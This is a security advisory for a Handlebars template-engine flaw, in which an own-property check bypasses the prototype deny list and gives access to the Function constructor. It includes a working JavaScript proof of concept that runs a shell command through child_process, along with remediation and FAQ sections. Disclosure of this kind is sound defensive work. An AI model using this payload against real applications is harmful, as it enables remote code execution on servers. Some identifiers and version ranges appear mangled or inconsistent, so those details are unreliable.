CVE-2026-106445: Handlebars: JavaScript Injection via Own Property Check Bypass
Summary
Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
lookupProperty trusts own properties:
js if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return result; }
Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:
js Function.prototype.constructor === Function; String.prototype.constructor === String; Object.prototype.constructor === Object;
As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.
Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function). 2. Access constructor via own property bypass: {{lookup (lookup myFunction "\\proto") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated. 3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
javascript const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty const template = Handlebars.compile( // construct code array from template string literal '{{#with a}}' + '{{lookup "" (push "return process.mainModule.require(\'childprocess\').execSync(\'id\').toString()")}}' + '{{lookup "" (pop)}}' + '{{lookup "" (shift)}}' + '{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor '{{lookup "" (@root.a.push (lookup (lookup fn "proto") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body '{{#each @root}}{{#if @index}}{{else}}' + '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' + '{{/if}}{{/each}}' );
const result = template( { fn: function(){}, a: [0] }, { allowProtoMethodsByDefault: true } );
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)
Workarounds
Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.
Other sources
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
— MITRE
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/handlebarsto a version that resolves this vulnerability.Fixed in 4.7.10 - Upgrade
Upgrade
Handlebarsto a version that resolves this vulnerability.Fixed in 4.7.10 - Configuration
Do not set allowProtoMethodsByDefault to true when compiling untrusted templates with untrusted data.
Handlebars allowProtoMethodsByDefault = false
Event History
Frequently Asked Questions
Which deployments are exposed to remote code execution?
Deployments using Handlebars versions from 4.0.0 through 4.7.9 are exposed when untrusted users can render controlled templates, allowProtoMethodsByDefault is enabled, and the template context exposes an accessible function.
What must an attacker be able to do to exploit this issue?
An attacker needs to supply or control a template that the application renders. They also need the template environment to permit prototype methods by default and to include an accessible function in the rendering context.
Are default Handlebars settings affected?
The described exploit requires allowProtoMethodsByDefault to be enabled. The provided information does not indicate that this setting is enabled by default.
What should be done if upgrading cannot happen immediately?
Prevent untrusted parties from supplying templates, disable allowProtoMethodsByDefault, and avoid exposing functions in the template context. These measures remove the stated prerequisites for the exploit.
How can teams determine whether they are affected?
Check whether the application uses Handlebars 4.0.0 through 4.7.9, renders attacker-controlled templates, has allowProtoMethodsByDefault enabled, and passes accessible functions into the template context. Upgrading to 4.7.10 fixes the issue.